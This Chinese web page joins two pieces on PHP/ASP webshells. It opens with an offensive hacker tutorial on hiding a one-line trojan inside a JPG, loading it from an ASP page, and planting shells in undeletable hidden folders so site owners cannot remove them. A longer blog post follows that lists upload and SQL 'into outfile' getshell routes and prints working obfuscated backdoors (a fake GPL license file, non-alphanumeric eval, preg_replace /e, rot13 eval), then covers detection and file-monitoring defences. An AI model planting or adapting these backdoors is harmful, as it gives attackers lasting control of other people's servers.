摘要：方法一：图片留Shell后门。 准备个一句话木马（改名为1.txt）和一张图片（1.jpg）图片，图片最好是采用被入侵的网站上的图片，因为等会要替换图片。 cmd下使用如下命令： copy 图片.jpg/b+一句话.txt/b 3.jpg/b 合并成功后，我们传到它网站里， 把你做好的图...
方法一：图片留Shell后门。
准备个一句话木马（改名为1.txt）和一张图片（1.jpg）图片，图片最好是采用被的网站上的图片，因为等会要替换图片。
cmd下使用如下命令：
copy 图片.jpg/b+一句话.txt/b 3.jpg/b
合并成功后，我们传到它网站里， 把你做好的图片替换掉原来的图片。
然后随便找个asp文件，插入以下代码：
&style=&height=0px;&width=0px;&overflow=hidden&&!&&#include&file=image/图片.jpg&&&&
这个代码就是调用图片，用css定义了一个大小为0的盒子，超出这个大小的话就隐藏显示
比如：创建一个llsilver.asp，同级目录下保存有绑定一句话的图片（就是我们合并得到的那个图片）
llsilver.asp 内容是
&style=&height=0px;&width=0px;&overflow=hidden&&!&&#include&file=image/图片.jpg&&&&
其中的【image/图片.jpg】就是llsilver.asp所在文件的文件夹image，图片.jpg就是我们合并得到的那个文件。
然后访问llsilver.asp这个文件的时候就等于访问一句话木马。
方法二：建立隐藏且无法删除的文件夹。
首先拿下shell后，建立一个有&\\这样的文件夹，比如我就在站点跟目录建立个jieshao&\\这样的文件夹，如图
直接确定，他会显示无法找到路径，如图
其实，这样的文件夹已经建好了，但是在下自动识别了为jieshao..这样的文件夹，而且在shell里是看不到此文件夹的，更别说删除了。不相信？我们用ie打开来看看
呵呵，的确有此目录哦，那么大家明白了吧，在shell里看不到这文件夹，我们不如在此文件夹上传个asp马，那样不就达到了很好的隐藏了么。
有2种方法，第一中直接copy到此文件夹里，但是要注意文件夹名一定是建立文件夹的名。OK。
copy完了，是不是觉得不对劲了，怎么copy到跟目录去了，呵呵，其实他已经copy到jieshao&\\这个文件下去了，不相信？我们在来看看。
呵呵，的确shell正常的copy进去了，在webshell里你是无法看到这个目录，也无法跳转到这个目录。
还有一种方法就是直接建立文件，比如我建立一个123.asp文件，直接jieshao&\\123.asp
有很多人会说，这种方法如果别人在ftp里，或者在上能看见此文件夹么。
当然会了，但是他们无法访问、删除，这只是windows对文件夹识别的一种缺陷罢了。只能通过dos命名来删除和访问了，但是这只是服务器管理员才具有的权限。
好处：如果你日了某个站，比如一些站长买的一些空间，都是没有服务器权限的，只有ftp极小的权限那么你就可以利用这种方法了，他们进入FTP了也无法删除我们的后门，也无法访问。只能通知管理员了，如果再遇到傻B管理员，嘎嘎，貌似是很淫荡的方法！
标签分类：WebShell攻防对抗小结(2) - .Little Hann - 推酷
WebShell攻防对抗小结(2) - .Little Hann
作为WebShell检测、CMS修复、WebShell攻防研究学习的第二篇文章
本文旨在研究Webshell的生成原因、WebShell和服务器安全的关系、针对WebShell生成的文件磁盘操作的行为检测。希望能给研究这一领域的朋友带来一点点帮助，同时抛砖引玉，和大家共同讨论更多的技术细节， 共同学习成长
文章主要分为3个部分:
1. WebShell的产生原因、以及常见的WebShell隐藏手段
2. WebShell的对抗方法
3. 文件磁盘的行为监控在WebShell对抗中的应用
相关学习资料
WebShell的产生原因、以及常见的WebShell隐藏手段
我们在上一篇文章中学习了常见webshell的各种形式
webshell是往往是黑客通过web漏洞、FTP漏洞、WEB容器(IIS、Apache)等漏洞入侵了目标服务器，并在其WEB目录放置了后门的可执行脚本，用于下次继续入侵准备的。我总结了webshell的生成主要和一下几个方面的漏洞导致的，我们在对webshell攻防、服务器加固安全的时候也可以从这个角度去思考
1. Web软件开发的安全
1) 程序中存在文件上载的漏洞，攻击者利用漏洞上载木马程序文件
1.1) FCK文件上传漏洞，攻击者直接上传webshell，前提是这个网站允许上传类型为.php、.asp、.php.rar的文件，或者黑客通过其他的方式(例如XSS)恶意修改了允许上传文件　　　　　　　　扩展的设置
　　　　http://localhost/fckeditor/editor/filemanager/browser/default/connectors/test.html
　　　　http://localhost/fckeditor/editor/filemanager/upload/test.html
　　　　http://localhost/fckeditor/editor/filemanager/connectors/test.html
　　　　http://localhost/fckeditor/editor/filemanager/connectors/uploadtest.html
1.2) FCK任意目录生成漏洞，攻击者生成/xx.asp/目录，然后再往这个目录下上传任意扩展后缀的文件，这些任意扩展后缀的文件都会被当作.asp来进行执行
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp　　　　　　　　&NewFolderName=z&uuid=4
　　(这个指令可以在images文件夹下建立/shell.asp/文件夹)
2) 后台数据库备份及恢复代码逻辑存在漏洞
2.1) 利用后台对access数据库的&备份数据库&或&恢复数据库&功能，&备份的数据库路径&等变量没有过滤导致可以把任意文件后缀改为asp，从而得到WebShell
(大概利用方式如下:)
2.1.1) 我们将一个webshell的.php文件修改后缀，改成目标网站允许上传的文件扩展类型(例如.rar)
2.1.2) 将这个shell.rar(包含webshell代码的文件)文件上传到网站附件文件夹中(例如\uploads\)
2.1.3) 利用网站后台的数据库备份功能，这里一般情况下程序会让我们输入源文件路径，以及目标文件路径(程序错误的信任了用户输入的源路径就是有效路径，造成信任边界问题)
2.1.4) 我们在备份文件的源路径填写我们刚才上传的shell.rar，然后在目标文件路径填写\www\shell.php、或者\www\shell.asp
2.1.5) 备份的过程本质上是文件复制，完成复制后，我们上传的webshell就得以执行了
2) 防sql注入
2.1) 攻击者通过SQL注入获取后台管理员的帐号和密码，进入后台后
2.1.1) 利用网站后台的SQL执行功能进行getshell(DEDE、Discuz等CMS的后台可以执行包括写磁盘在内的任意SQL命令)
select &&?php eval($POST['op']); ?&& into outfile &c:\\wamp\\www\\shell.php&;
2.1.2) 利用后台的水印、头像、表情上传功能获取webshell。(要注意的是，大多数网站基本不允许上传.php、.asp后缀的文件。我们可以利用apache的解析漏洞　　　　　　　　　　　　上传xx.php.rar这样的文件是shell得以执行。或者手动在后台开启.php、.asp的文件扩展上传设置)
2.1.3) 在后台修改&允许上传的附件扩展类型&。(这是一种逻辑后门的思路，我们可以设置一种比较少见的扩展，例如，添加.cdx扩展，这样可以保持一定的隐蔽性，　　　　　　　　　　　　同时让黑客能够顺利上传webshell)
3.1) 黑客通过爆库获得了网站后台的帐号和密码
3.2) 黑客通过爆库直接获取了目标网站数据库的连接帐号和连接密码，直接进入数据库:
3.2.1) 数据库rootkit: 数据后门触发器、数据库后门UDF等
3.2.2) 利用phpmyadmin进行getshell
3.2.3) 在数据库的某些表中方式&自动生成的webshell payload&: 例如一些CMS的动态模版语言，当访问这些模版的时候，就会从数据库中提取我们的webshell payload，　　　　　　　　　　进而进行写磁盘getshell
　　　　http:///1403.html
　　　　http://ha.cker.in/1006.seo
　　　　(在数据库的dede_mytag表中留下后门webshell payload，每次访问mytag_js.php的时候就会自动在\plus\目录下生成webshell文件)
4) 防COOKIES欺骗
4.1) 利用XSS漏洞获取管理员的帐号和密码
4.2) XSS+GETSHEL，基于XSS的webshell也是一种webshell的形式，只是这种webshell的服务端在&受害者的浏览器&上
http://www./vbseo-from-xss-to-reverse-php-shell/
5) 防跨站脚本攻击。
2. 服务器的安全和web服务器的安全
1) 服务器做好各项安全设置，安装WAF、流量分析IDS　　　　(例如ModSecurity可以对HTTP流量进行恶意检测，方式webshell的打入、以及即使webshell已经存在了还可以阻止webshell的执行)
　　http:///articles/web/18084.html
2) 提升web服务器的安全设置
2.1) WEBDEV可写，黑客可以利用iisput等工具上传webshell文件
2.2) 文件系统的ACL控制，对web目录的账户读写权限进行严格控制
http:///thread-.html
3) 对以下命令进行权限控制(以windows为例)
3.1) cmd.exe
3.2) net.exe
3.3) net1.exe
3.4) ping.exe
3.5) netstat.exe
3.6) ftp.exe
3.7) tftp.exe
3.8) telnet.exe
(安全狗的一个很重要的功能就是对这些关键的命令(程序)进行限制和监控)
3. ftp文件上载安全
1) FTP匿名访问: 设置好ftp服务器，防止攻击者直接使用FTP上传木马程序文件到web程序的目录中
2) FTP弱口令破解: 黑客利用FTP的弱口令进行字典破解，上传webshell
4. 文件系统的存储权限
1) 设置好web程序目录及系统其它目录的权限，相关目录的写权限只赋予给超级用户，部分目录写权限赋予给系统用户
2) 不要使用root权限去运行mysql、apache等服务器。而使用特殊配置过的指定账户来运行这些web容器软件
5. 不要使用超级用户运行web服务
1) 对于apache、tomcat等web服务器，安装后要以系统用户或指定权限的用户运行，如果系统中被植入了asp、php、jsp等木马程序文件，以超级用户身份运行，webshell提权后　　　　获得超级用户的权限进而控制整个系统和计算机
以上总结了我所遇到的WEB攻击方式，这些攻击方式适用于不同的攻击场景，并且往往不是单独存在的，即它们往往会互相成为前提条件，一个漏洞的产生为另一个漏洞的触发提供了基本条件。
了解了WEBSHELL的入侵方式，我们接下来学习一下webshell的隐藏技巧，黑客在入侵了一台主机之后，会在这台主机上留下不止一个webshell，并尽可能地散步在不同的目录下，即使管理员通过发现了其中的一部分webshell并予以删除，只要服务器上还存在一个隐藏的很深的webshell，黑客就可以利用这个webshell进行再次入侵。
webshell的隐藏、伪装技巧
1. 改默认密码
2. 改名，融入上传后所在的文件夹，将名字改得较为&普通&(例如indexi.php)，让人很难直观地看出文件的异常。
3. 文件大小的伪装处理(像正常脚本)
4. 将webshell的payload代码插入到网站原本的正常.php文件中(插入法)，普通的正则匹配很难发现这种webshell
5. webshell文件混淆:
1) 变量名混淆
2) 插入大量无用的随机字符串
1) 仿照一些标准、正常的文件名。例如在Joomla的目录下放置LICESNE.php这种&不容易引起视觉可疑&的文件名，并且这些文件的内容都极其类似正常的LICENCE文件
http://blog.sucuri.net/2013/08/more-creative-backdoors-using-filename-typos.html
http://blog.sucuri.net/2013/08/open-source-backdoor-copyrighted-under-gnu-gpl.html
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
This prog you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software F either version 2 of the License, or
(at your option) any later version.
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
*/Copyright3_6_56()/*
Free Software Foundation, Inc.
675 Mass Ave, Cambridge, MA 02139, USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.*/?&
Joomla! derives from copyrighted works licensed under the GNU General
Public License.
This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses.
see the CREDITS.php for a non-exhaustive list of contributors and
copyright holders.
A full text version of the GNU GPL version 2 can be
found in the LICENSE.php file.
A full text version of the other licenses
that Joomla! is derivative of or includes can be found in LICENSES.php.
Copyright3_6_56();
function Copyright3_6_56(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('', $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
2) 执行函数变形
$_[+$_]++;
$___=$_[+&&];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_(&ZXZhbCgkX1BPU1RbMV0p&));
//ASSERT(BASE64_DECODE(&ZXZhbCgkX1BPU1RbMV0p&));
//ASSERT(&eval($_POST[1])&);
类似的还有
http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
3) 执行代码变形(payload变形)
2.1) 将webshell的执行代码payload编码成base64的格式: bypass本地特征码检测软件
2.2) 将webshell的执行代码payload使用加密算法(例如RSA1024)
http://blog.sucuri.net/2013/10/backdoor-evasion-using-encrypted-content.html
2.2.1) 私钥和文件保存在一起: bypass网络流量恶意检测软件，因为这样就可以直接在网络中传输密文。缺点是对于本地文件来说，解密当前webshell加密算法的key是暴露的
2.2.2) 私钥和通过网络流量传输的命令放在一起: bypass本地特征码检测软件，在本机文件中不出现解密密文的key，保证了本地webshell文件的保密性。缺点是在网络流量中　　　　　　　　　　　　出现了key，通过流量分析可以截获并解密之
4) 执行函数和执行代码同时变形
$aaaaa=&sewtemznypianol&;
$char_system=$aaaaa{0}.$aaaaa{8}.$aaaaa{0}.$aaaaa{3}.$aaaaa{1}.$aaaaa{5};
//die($char_system);
$aaaaaa=&edoced46esab_n&;
$char_base64_decode=$aaaaaa{11}.$aaaaaa{10}.$aaaaaa{9}.$aaaaaa{8}.$aaaaaa{7}.$aaaaaa{6}.$aaaaaa{12}.$aaaaaa{5}.$aaaaaa{4}.$aaaaaa{3}.
　　　$aaaaaa{2}.$aaaaaa{1}.$aaaaaa{0};
die($char_base64_decode);
echo $char_system($char_base64_decode(&aXBjb25maWc=&));
1) 在webshell代码中加入一些随机字符串等混淆因子，可以绕过一部分&基于正则&的检测软件
$subject='any_thing_you_can_write';
$pattern=&/^.*$/e&;
$payload='cGhwaW5mbygpOw==';
//cGhwaW5mbygpOw==: &phpinfo();&
$replacement=pack('H*', '5f528').&\&$payload\&))&;
//5f528: &eval(base64_decode(&;
preg_replace($pattern, $replacement , $subject);
1) 在实际的webshell开始执行前，典型的对传入的参数做一些判断，只有匹配条件时才会进入真正的执行路径。
这种多态技术不仅可以躲过一些正则webshell检测系统，还可以避免被某些动态沙箱的检测软件捕获到(因为动态沙箱很难模拟出这个webshell脚本所需要的&启动参数&)
if($_REQUEST[&code&]==pany)
echo str_rot13('riny($_CBFG[pzq]);');
eval(str_rot13('riny($_CBFG[pzq]);'));
$url = $_SERVER['PHP_SELF'];
$filename = end(explode('/',$url));
$content = 'helloworld';
$fp = fopen (&$filename&,&w&);
if (fwrite ($fp, $content))
fclose ($fp);
die (&error&);
fclose ($fp);
die (&good&);
以上提到的都是几种webshell的隐藏思路，这是目前webshell对抗领域的一个很重要的问题:
1. 很多新增的webshell是通过老webshell上传的，&重感染&现象严重
2. 一些老的、之前已经存在的webshell由于做了很好的隐藏工作，不容易被发现，只要某台服务器上还存在一个webshell，那这个服务器就永远处在被入侵的状态，新的webshell还会不断　　生成(甚至包括变态的SEO大马)
3. 这些老的webshell的检测依靠入侵监控是无法发现的，因为它们往往是在部署入侵监控系统之前就存在的，必须依靠&特征规则扫描&在受感染的服务器上进行扫描，将这些&隐藏&的　　webshell抓出来，并删除之，才能一劳永逸地修复这台服务器
2. WebShell对抗方法
在谈及WebShell对抗技术，我个人觉得这是一个综合性的问题，webshell并不仅仅是脚本的编写技巧、隐藏技巧这样的单方面的问题，而应该从整个服务器安全对抗、加固的角度去思考怎么样全方位的防御黑客的攻击
整个服务器安全、webshell对抗体系如下:
1. 最根源的问题: WEB系统的代码安全，我们根据不同的漏洞文件(例如mytag_js.php)给出相应的修复方案，帮助客户自动对CMS系统进行修复
2. 除了CMS系统的漏洞导致的GETSHELL，对FTP弱口令、FTP匿名可写、3389爆破、SSH若口令等系统级别的安全设置这个角度帮助用户加固主机
3. 做到以上这些步骤，还是不能保证主机不被入侵(0DAY、密码泄漏等威胁依然存在)，还必须在客户的服务器设置可疑行为监控程序，对可疑的文件操作行为进行监控、并上报到服务端进行　　确诊检测
4. 服务端采用PHP动态沙箱技术对上报上来的脚本文件进行&模拟执行恶意性检测&，确定其是否为webshell
5. 做到了以上几部后，基本可以防御住新的webshell的生成，但是还要考虑到一个问题，很多的新增webshell是因为之前被入侵后在服务器上留下的老webshell导致的，我们要彻底修复　　客户的服务器，就必须对这些现存的老webshell rootkit进行扫描，并清除之
具体的实施方法如下:
webshell对抗手段:
1. 代码审计
1) 代码层、WEB层面的安全审计永远是WEB安全的最根本、最有效的方法。一个健壮的WEB系统能够抵御来自黑客的各种攻击，使系统远离GETSHELL的可能
2) 定期的代码补丁(例如CMS定期的补丁发布)
2. 人工加固
1) 对ftp进行权限设置，取消匿名访问。
2) 对目录进行权限设置，不同网站使用不同的用户权限
IIS可以针对不同的网站使用不同的虚拟路径(也可以理解为虚拟主机)，不同的虚拟主机之间可以单独设置路径权限信息
3) 对系统盘的敏感目录及文件进行权限设置，提高系统安全性
系统加固的范畴，主要是对指定的敏感路径的ACL进行设置
4) 定期更新服务器补丁，定期更新杀毒软件。
3. 部署Web防火墙
1) 可针对WebShell上传，进行控制、过滤与阻断;
2) 实时阻断入侵者利用SQL注入、XSS攻击、缓冲区溢出攻击等获得web站点的目录修改权限
2.1) WAF的功能，对GET、POST等HTTP中的敏感关键字进行检测
2.2) WAF的0DAY规则库来自目前CMS的一些已知的、未知的POC攻击方法，每种POC都会有一个相对固定的&攻击特征&(表现在GET、POST数据包中就是一些特征字符串)，　　　　　　　　通过搜集这些POC，编写相应的正则规则，在WAF端进行阻断拦截
3) 支持对WebShell访问返回页面进行内容检测，切断入侵者企图调用访问WebShell的行为
3.1) 安全宝、加速乐就有这样的功能
3.2) ModSecurity的&链式检测&逻辑中，可以检测包括&服务器返回流量&在内的数据内容，当发现外流数据中有敏感信息的数据，予以阻断
4) 支持实时检测过滤WebShell发起的各种攻击命令，阻断：
4.1) 利用WebShell发起的挂马(现在主要是SEO暗链)
4.2) 文件下载
4.3) 端口扫描
4.4) 内容篡改等各种攻击和非法操作
(包括安全狗在内的防护软件都会有针对敏感指令(程序)的监控、以及API拦截)
4. 定期运行杀软
针对webshell的杀软和传统的二进制病毒的杀软在实现原理上有一些区别，针对webshell的杀软主要是基于特征码匹配的技术(常常是正则匹配)
1) http://www.d99net.net/
2) WebshellAutoCheck
5. 目录监控
不管WEB漏洞的形式千变万化，webshell的写入方式不外乎两种: 写文件、修改文件。而这些操作都会引发文件系统的读写操作，我们可以对这些行为进行监控，区分出正常的业务操作和可疑的黑客攻击行为。windows为实现这一需求提供了3个API
1) http:///en-us/library/windows/desktop/ms687025(v=vs.85).aspx
WaitForMultipleObjects function
2) http:///en-us/library/windows/desktop/aa365465(v=vs.85).aspx
ReadDirectoryChangesW function
3) http:///en-us/library/windows/desktop/bb762120(v=vs.85).aspx
SHChangeNotifyRegister function
6. PHP动态沙箱检测技术
利用PHP Zend Extension对PHP的关键函数API进行Hook，对动态执行中的函数调用进行污点检测、行为检测。从而解决了静态检测的的规则匹配中出现的误报、漏报问题
(关于PHP Zend Extension、API Hook技术的分享会放到下一篇文章(3)继续学习)
上面谈到了目录操作的可疑行为监控、PHP动态沙箱检测技术。这两个是我这个系列的学习重点，接下来会重点研究一下&目录监控&方面的知识，而&PPHP动态沙箱检测技术&的学习将放到下一篇文章中继续，在(3)中，我们会一并学习PHP内核实现、扩展编程、Hook Api、动态沙箱等知识。接下来，让我们回到正题:
3.& 文件磁盘的行为监控在WebShell对抗中的应用
在学习研究文件操作的可疑行为的时候，我觉得这个技术从原理上和&入侵检测&系统有很多相似之处，都是对用户系统上的某些&运行参数(文件操作、网络、API调用等都算运行参数)&进行建模，并分析其可疑性。于是，我google了一些关于入侵检测系统的相关，这里也一并分享出来。
http://www.oschina.net/p/snare
/all/smb/wfbs-services/Client/wfbs-svc/v3.7/zh-CN/ClientHelp/About_Behavior_Monitoring.htm
/tech/1078.html
Snort 网络入侵检测系统 Snort 介绍
/content/11/71.shtml
入侵检测技术分类
从技术上讲，入侵检测技术大致分为以下几类:
1. 基于知识的模式识别(常常是正则规则匹配特征): 也叫特征检测法
2. 基于知识的异常识别(更多的是行为模式的检测): 多维度的综合判断(有时会结合概率统计的技术)
3. 协议分析
在这类入侵检测系统中，我感觉这里有一个问题需要注意就是: &可管理性&，或者叫&可配置型&
1. 对于&正则类型的特征值检测技术&的产品来说，规则相对较为容易地抽象成一个个配置文件，可配置型和扩展性很好。因为它们的规则从作用域上来说一个个单独的点　　(这里的点指的这条规则就只对一个较小的范围区域进行匹配检测)
2. 对于&行为模式检测类型&的产品来说，它所应用的&规则模型&往往较复杂，基本上不会是一条、或者两条正则能说明的。而是一个个的&是否满足某条件&的模式判断，通过这些条件的判断来　　对当前行为的模式进行分类和判断。所以，这类产品很难抽象出一个单纯的规则配置文件，而是要把规则和代码混编在一起写，即规则隐含在代码逻辑中
在看资料的时候，其中有几条对我启发很大
几种异常识别的检测方法
1. 基于审计的攻击检测技术
这种检测方法是通过对审计信息的综合分析实现的，其基本思想是:
1) 根据用户的历史行为、先前的证据或模型，使用统计分析方法对用户当前的行为进行检测和判别。这是一种结合历史信息的迭代识别思想
1.1) 时间维度的判断，根据某个事件发生的之前的时间段内相同事件的发生情况
1.2) 关联性维度的判断，判断当前发生的事件和之前发生的事件之间的关联性，是独立事件、还是关联事件
2) 当发现可疑行为时，保持跟踪并监视其行为，同时向系统安全员提交安全审计报告
2. 基于神经网络的攻击检测技术
神经网络这块的学术研究转化为实际可用的技术目前还并不多，还有待研究
3. 基于专家系统的攻击检测技术(基于安全人员经验的攻击检测技术)
专家系统就是一个依据专家经验定义的推理系统，这种检测是建立在专家经验基础上的，它根据专家经验进行推理判断得出结论。而这个判断的依据往往专家结合自身的安全经验得出的&实践性数据&，虽然没有理论支撑，但是具有合理性，能够起到很好的效果
1) 当用户连续3次登录失败时，可以把改用户的第4次登录行为视为攻击行为
2) 当某个目录下突然出现一个创建时间和其他文件明显不一致的文件时，可以把这个文件视为一个可疑webshell
4. 基于模型推理的攻击检测技术
攻击者在入侵一个系统时往往采用一定的行为程序，如猜测口令的程序，这种程序引发的行为构成了某种具有一定行为特征的模型，根据这种模型所代表的攻击意图的行为特征，可以实时地检测出恶意的攻击企图。例如
1) WEB扫描器在扫描网站时在日志中留下的访问记录就具有某些目录遍历的特征
2) dede在每日更新cache的时候对文件的access、modify也会表现出顺序，时间间隔等特征
3) 黑客在利用poc修改style_x.php的时候也会表现出不同于cache更新的访问特征
综合了以上知识，我觉得入侵检测的思想可以移植到webshell的对抗上来。
黑客GETSHELL的途径只有两种途径:
2) 修改已存在的.php文件
所以我们只要捕获: 文件创建操作、文件修改操作这两种行为即可
而这里的问题在于网站的正常运行也是会产生文件读写操作的，我们要做的就是对&正常的业务操作引发的文件操作&和&黑客的攻击行为导致的文件操作&进行二值区分，找到它们模式上的不同，使用统计、分类的方法区分出两种行为模式上的区别，就达到了可疑GETSHELL行为的监控、检测的目的了。
目前，根据我的研究和实验，我对可疑行为的理解如下:
1. 如果这个新创建的文件的创建时间和当前目录下的其他文件的创建时间差很多，则判定为可疑，getshell大部分都是通过写新文件得到的
2. 这是为了防御那种针对.config配置文件的写入，把后门代码插入到.config中进行getshell的。如果本次的修改文件的时间和创建时间差别太大，则判定为可疑文件
3. 因为黑客的写磁盘getshell一般都是在网站主程序安装完成，开始运行之后才进行的，所以这个基于创建时间的判断维度能比较有效的区分出正常操作和黑客的getshell
4. 而网站的主代码文件一般在程序安装完毕，上线运行之后就不会轻易被修改了，如果出现了被修改文件的修改时间和创建时间差别很大，即判定为可疑行为，即使是用户自己去主动修改这些　　代码文件(例如打补丁等)，这种情况并不是常常发生，在可以允许的误报范围之内
5. 考虑到CMS中的常常有一些cache、log的机制。业务上会常常去修改这些文件，所以，在基于修改时间和创建时间的这个维度的判断上将阈值稍微调大，这样，网站正常的编辑/修改文件的　　行为就不会被捕获判定为可疑，而我们的程序只会去捕获那些修改时间和创建时间差别相对较大的文件操作行为。背后含义即”非常规”的、”异常的编辑”行为，它们在时间线上往往表现为　　一些孤立的点
6. 如果是网站的cache、log机制，那从创建时间和修改时间上表现出来的就是: 创建时间和修改时间之间差距不大，因为cache、log都是每天创建，每天修改的，而系统的代码文件是很早创　　建的，然后会很少被修改到，如果一个很少被修改到的文件突然被修改了，则判定为可疑，我在代码中就是基于这样一个假设进行检测的
7. 如果在程序运行中捕获到的两次文件的创建的事件的时间差值很小(10s以内)，并且连续发生多次(5次)，说明正在进行大量的文件创建操作。即用户正在进行网站安装行为、或者手动在进　　行正常的业务型的文件复制行为
8. 网站中普遍设置有cache、log机制。如果是网站的cache、log机制，那从创建时间和修改时间上表现出来的就是: 创建时间和修改时间之间差距不大，因为cache、log都是每天创建，　　每天修改的，而系统的代码文件是很早创建的，然后会很少被修改到，如果一个很少被修改到的文件突然被修改了，则判定为可疑。
1) log的差值阈值调整为1天(1个log/1天)
2) cache的差值阈值调整为3天(1个cache/3天)
1) 用户从网上下载一个CMS程序: xxx.rar，然后用FTP上传到&客户端服务器&进行解压缩
2) 用户直接把整个文件夹(例如/dede/)复制到&客户端服务器&
这些文件的&修改时间&会&早于&这些文件的&创建时间&，不同于我们通常理解的修改时间迟于创建时间
因为这些文件是在原始作者打包上传的那时候就修改完成的，而创建时间是在本次的复制中记录进去的。所以才造成了这个现象，而黑客通过WEB漏洞对.php等脚本文件的修改导致的GETSHELL，修改时间都是迟于创建时间的
10. 能够识别出密集文件创建操作，同时还可以兼容对时间孤立的文件创建的可疑性判定，以及可疑文件修改的判定。这里的&密集文件操作&指的是当用户在进行.RAR解压缩、或者整体文件夹　　复制的时候，往往会伴随着大量的文件操作，这个时候容易产生误报，我们必须有效地检测到密集文件操作的发生，并忽略之，减少误报
以上是我对入侵检测在GETSHELL检测上的应用的理解，相应的检测程序正在开发中
(有效检测、并忽略了密集文件操作)
(新的文件和原始的”旧”文件在创建时间上存在明显的统计区别，因为被检测出来)
(因为WEB漏洞导致的文件修改呈现出明显的时间孤立性，且产生了实际的文件修改(变现为FILE SIZE的改变)，所以被程序捕获到异常行为)
windows目录监控的开发库来自于codeproject的Wes Jones的分享
/Articles/950/CDirectoryChangeWatcher-ReadDirectoryChangesW-all
当然，这种程序的一个最大的问题就是误报率的问题，我也同样遇到了误检测的问题，下一阶段准备对可疑行为的建模和区分这方面进行一下深入研究，也希望对这方面有了解的朋友能不吝赐教，分享一下好的思路，不胜感激。
今天这篇文章就分享到这里结束了。
下一篇关于WEBSHELL的PHP动态沙箱检测的相关学习，希望能分享一些基于PHP内核、Zend扩展，API Hook相关的PHP沙箱技术的学习心得
已发表评论数()
请填写推刊名
描述不能大于100个字符!
权限设置： 公开
仅自己可见
正文不准确
标题不准确
排版有问题
主题不准确
没有分页内容
图片无法显示
视频无法显示
与原文不一致